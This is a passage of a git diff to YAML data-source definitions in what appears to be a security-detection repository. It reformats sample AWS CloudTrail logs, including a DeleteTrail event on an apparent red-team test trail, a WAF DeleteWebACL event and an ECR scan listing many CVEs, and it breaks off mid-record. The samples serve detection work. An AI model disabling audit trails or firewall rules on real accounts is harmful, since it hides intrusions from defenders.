Darwin/21.5.0 source/x86_64 command/cloudtrail.delete-trail", "requestParameters": {"name": "redatomictesttrail"}, "responseElements": null, "requestID": "2ba0af54-1451-4a2c-846e-18436bcee01e", "eventID": "1c53bcce-650d-486a-b3f6-f64fd853e509", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T19:03:51Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "DeleteTrail", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/cloudtrail.delete-trail", "requestParameters": {"name": "redatomictesttrail"}, "responseElements": null, "requestID": "2ba0af54-1451-4a2c-846e-18436bcee01e", "eventID": "1c53bcce-650d-486a-b3f6-f64fd853e509", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletewebacl.yml b/data_sources/aws_cloudtrail_deletewebacl.yml index d7e69c4cb3..98b53d36f6 100644 --- a/data_sources/aws_cloudtrail_deletewebacl.yml +++ b/data_sources/aws_cloudtrail_deletewebacl.yml @@ -105,4 +105,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:32:54Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteWebACL", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-web-acl", "requestParameters": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425", "webACLId": "6a9771ff-7d94-4fec-a049-e42da0bc7347"}, "responseElements": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425"}, "requestID": "55fd5189-5f86-4052-8e8e-993faf1753e8", "eventID": "c8fd51ac-676d-4d5d-aa5a-7e642cf5bb97", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:32:54Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteWebACL", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-web-acl", "requestParameters": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425", "webACLId": "6a9771ff-7d94-4fec-a049-e42da0bc7347"}, "responseElements": {"changeToken": "11eb19d6-d960-4398-8761-6a8fbf8fc425"}, "requestID": "55fd5189-5f86-4052-8e8e-993faf1753e8", "eventID": "c8fd51ac-676d-4d5d-aa5a-7e642cf5bb97", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_describeimagescanfindings.yml b/data_sources/aws_cloudtrail_describeimagescanfindings.yml index 0ad693892d..d27490510e 100644 --- a/data_sources/aws_cloudtrail_describeimagescanfindings.yml +++ b/data_sources/aws_cloudtrail_describeimagescanfindings.yml @@ -120,6 +120,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AAAAAAAAAAAAAAAAAAAAA:test@test.com", "arn": "arn:aws:sts::111111111111:assumed-role/role_name/test@test.com", "accountId": "111111111111", "accessKeyId": "AKIAIOSFODNN7EXAMPLE", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AKIAIOSFODNN7EXAMPLE", "arn": "arn:aws:iam::111111111111:role/aws-reserved/test/region/group", "accountId": "111111111111", "userName": "test"}, "webIdFederationData" : {}, "attributes": {"creationDate": "2021-08-11T09:42:53Z", "mfaAuthenticated": "false"}}}, "eventTime": "2021-08-11T11:52:27Z", "eventSource": "ecr.amazonaws.com", "eventName": "DescribeImageScanFindings", "awsRegion": "eu-central-1" , "sourceIPAddress": "154.16.165.133", "userAgent": "aws-internal/3 aws-sdk-java/1.11.1030 Linux/4.9.273-0.1.ac.226.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/legacy", "requestParameters": {"repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "maxResults": 1000}, "responseElements": {"registryId": "111111111111", "repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest" : "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "imageScanStatus": {"status": "COMPLETE", "description": "The scan was completed successfully."}, "imageScanFindings": {"imageScanCompletedAt": "Aug 11, 2021, 11:30:16 AM", "vulnerabilitySourceUpdatedAt": "Aug 11, 2021, 1:17:52 AM", "findings": [{"name": "CVE-2019-25013", "description": "The iconv feature in the GNU C Library (aka glibc or libc6) through 2.32, when processing invalid multi-byte input sequences in the EUC-KR encoding, may have a buffer over-read.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-25013", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2021-33574", "description": "The mq_notify function in the GNU C Library (aka glibc) versions 2.32 and 2.33 has a use-after-free. It may use the notification thread attributes object (passed through its struct sigevent parameter) after it has been freed by the caller, leading to a denial of service (application crash) or possibly unspecified other impact.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-33574", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-12886", "description": "stack_protect_prologue in cfgexpand.c and stack_protect_epilogue in function.c in GNU Compiler Collection (GCC) 4.1 through 8 (under certain circumstances) generate instruction sequences when targeting ARM targets that spill the address of the stack protector guard, which allows an attacker to bypass the protection of -fstack-protector, -fstack-protector-all, -fstack-protector-strong, and -fstack-protector-explicit against stack overflow by controlling what the stack canary is compared against.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-12886", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-1751", "description": "An out-of-bounds write vulnerability was found in glibc before 2.31 when handling signal trampolines on PowerPC. Specifically, the backtrace function did not properly check the array bounds when storing the frame address, resulting in a denial of service or potential code execution. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1751", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:C"}, {"key": "CVSS2_SCORE", "value": "5.9"}]}, {"name": "CVE-2021-3326", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid input sequences in the ISO-2022-JP-3 encoding, fails an assertion in the code path and aborts the program, potentially resulting in a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3326", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-35942", "description": "The wordexp function in the GNU C Library (aka glibc) through 2.33 may crash or read arbitrary memory in parse_param (in posix/wordexp.c) when called with an untrusted, crafted pattern, potentially resulting in a denial of service or disclosure of information. This occurs because atoi was used but strtoul should have been used to ensure correct calculations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-35942", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "6.4"}]}, {"name": "CVE-2019-12904", "description": "In Libgcrypt 1.8.4, the C implementation of AES is vulnerable to a flush-and-reload side-channel attack because physical addresses are available to other processes. (The C implementation is used on platforms where an assembly-language implementation is unavailable.)", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12904", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-6363", "description": "** DISPUTED ** In the GD Graphics Library (aka LibGD) through 2.2.5, there is a heap-based buffer over-read in tiffWriter in gd_tiff.c. NOTE: the vendor says \"In my opinion this issue should not have a CVE, since the GD and GD2 formats are documented to be ''obsolete, and should only be used for development and testing purposes.''\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-6363", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-12290", "description": "GNU libidn2 before 2.2.0 fails to perform the roundtrip checks specified in RFC3490 Section 4.2 when converting A-labels to U-labels. This makes it possible in some circumstances for one domain to impersonate another. By creating a malicious domain that matches a target domain except for the inclusion of certain punycoded Unicode characters (that would be discarded when converted first to a Unicode label and then back to an ASCII label), arbitrary domains can be impersonated.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12290", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.0.5-1+deb10u1"}, {"key": "package_name", "value": "libidn2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13115", "description": "In libssh2 before 1.9.0, kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. This is related to an _libssh2_check_length mistake, and is different from the various issues fixed in 1.8.1, such as CVE-2019-3855.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13115", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2016-9318", "description": "libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9318", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-16932", "description": "parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16932", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-36309", "description": "ngx_http_lua_module (aka lua-nginx-module) before 0.10.16 in OpenResty allows unsafe characters in an argument when using the API to mutate a URI, or a request or response header.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-36309", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-14155", "description": "libpcre in PCRE before 8.44 allows an integer overflow via a large number after a (?C substring.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-14155", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-3843", "description": "It was discovered that a systemd service that uses DynamicUser property can create a SUID/SGID binary that would be allowed to run as the transient service UID/GID even after the service is terminated. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the UID/GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3843", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2019-3844", "description": "It was discovered that a systemd service that uses DynamicUser property can get new privileges through the execution of SUID binaries, which would allow to create binaries owned by the service transient group with the setgid bit set. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3844", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2016-2781", "description": "chroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal''s input buffer.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-2781", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-22898", "description": "curl 7.7 through 7.76.1 suffers from an information disclosure when the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl, is used to send variable=content pairs to TELNET servers. Due to a flaw in the option parser for sending NEW_ENV variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server, resulting in potentially revealing sensitive internal information to the server using a clear-text network protocol.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22898", "severity": "LOW", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2019-15847", "description": "The POWER9 backend in GNU Compiler Collection (GCC) before version 10 could optimize multiple calls of the __builtin_darn intrinsic into a single call, thus reducing the entropy of the random number generator. This occurred because a volatile operation was not specified. For example, within a single execution of a program, the output of every __builtin_darn() call may be the same.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-15847", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-1752", "description": "A use-after-free vulnerability introduced in glibc upstream version 2.14 was found in the way the tilde expansion was carried out. Directory paths containing an initial tilde followed by a valid username were affected by this issue. A local attacker could exploit this flaw by creating a specially crafted path that, when processed by the glob function, would potentially lead to arbitrary code execution. This was fixed in version 2.32.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1752", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.7"}]}, {"name": "CVE-2020-6096", "description": "An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the ''num'' parameter results in a signed comparison vulnerability. If an attacker underflows the ''num'' parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-6096", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-10029", "description": "The GNU C Library (aka glibc or libc6) before 2.32 could overflow an on-stack buffer during range reduction if an input to an 80-bit long double function contains a non-canonical bit pattern, a seen when passing a 0x5d414141414141410000 value to sinl on x86 targets. This is related to sysdeps/ieee754/ldbl-96/e_rem_pio2l.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-10029", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2020-27618", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid multi-byte input sequences in IBM1364, IBM1371, IBM1388, IBM1390, and IBM1399 encodings, fails to advance the input state, which could lead to an infinite loop in applications, resulting in a denial of service, a different vulnerability from CVE-2016-10228.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-27618", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2016-10228", "description": "The iconv program in the GNU C Library (aka glibc or libc6) 2.31 and earlier, when invoked with multiple suffixes in the destination encoding (TRANSLATE or IGNORE) along with the -c option, enters an infinite loop when processing invalid multi-byte input sequences, leading to a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-10228", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-19126", "description": "On the x86-64 architecture, the GNU C Library (aka glibc) before 2.31 fails to ignore the LD_PREFER_MAP_32BIT_EXEC environment variable during program execution after a security transition, allowing local attackers to restrict the possible mapping addresses for loaded libraries and thus bypass ASLR for a setuid program.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19126", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-27645", "description": "The nameserver caching daemon (nscd) in the GNU C Library (aka glibc or libc6) 2.29 through 2.33, when processing a request for netgroup lookup, may crash due to a double-free, potentially resulting in degraded service or Denial of Service on the local system. This is related to netgroupcache.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-27645", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2019-14855", "description": "A flaw was found in the way certificate signatures could be forged using collisions found in the SHA-1 algorithm. An attacker could use this weakness to create forged certificate signatures. This issue affects GnuPG versions before 2.2.18.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-14855", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.12-1+deb10u1"}, {"key": "package_name", "value": "gnupg2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13627", "description": "It was discovered that there was a ECDSA timing attack in the libgcrypt20 cryptographic library. Version affected: 1.8.4-5, 1.7.6-2+deb9u3, and 1.6.3-2+deb8u4. Versions fixed: 1.8.5-2 and 1.6.3-2+deb8u7.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13627", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2018-14553", "description": "gdImageClone in gd.c in libgd 2.1.0-rc2 through 2.2.5 has a NULL pointer dereference allowing attackers to crash an application via a specific function call sequence. Only affects PHP when linked with an external libgd (not bundled).", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14553", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36086", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in cil_reset_classpermission (called from cil_reset_classperms_set and cil_reset_classperms_list).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36086", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36085", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __verify_map_perm_classperms and hashtab_map).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36085", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36087", "description": "The CIL compiler in SELinux 3.2 has a heap-based buffer over-read in ebitmap_match_any (called indirectly from cil_check_neverallow). This occurs because there is sometimes a lack of checks for invalid statements in an optional block.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36087", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36084", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __cil_verify_classpermission and __cil_pre_verify_helper).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36084", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-17498", "description": "In libssh2 v1.9.0 and earlier versions, the SSH_MSG_DISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17498", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key" : "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-17543", "description": "LZ4 before 1.9.2 has a heap-based buffer overflow in LZ4_write32 (related to LZ4_compress_destSize), affecting applications that call LZ4_compress_fast with a large input. (This issue can also lead to data corruption.) NOTE: the vendor states \"only a few specific / uncommon usages of the API are at risk.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17543", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.3-1+deb10u1"}, {"key": "package_name", "value": "lz4"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2013-0337", "description": "The default configuration of nginx, possibly 1.3.13 and earlier, uses world-readable permissions for the (1) access.log and (2) error.log files, which allows local users to obtain sensitive information by reading the files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0337", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-7169", "description": "An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid and allows an unprivileged user to be placed in a user namespace where setgroups(2) is permitted. This allows an attacker to remove themselves from a supplementary group, which may allow access to certain filesystem paths if the administrator has used \"group blacklisting\" (e.g., chmod g-rwx) to restrict access to paths. This flaw effectively reverts a security feature in the kernel (in particular, the /proc/self/setgroups knob) to prevent this sort of privilege escalation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-7169", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-37600", "description": "An integer overflow in util-linux through 2.37.1 can potentially cause a buffer overflow if an attacker were able to use system resources in a way that leads to a large number in the /proc/sysvipc/sem file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-37600", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.33.1-0.1"}, {"key": "package_name", "value": "util-linux"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2011-3374", "description": "It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.", "uri" : "https://security-tracker.debian.org/tracker/CVE-2011-3374", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.2.3"}, {"key": "package_name", "value": "apt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-18276", "description": "An issue was discovered in disable_priv_mode in 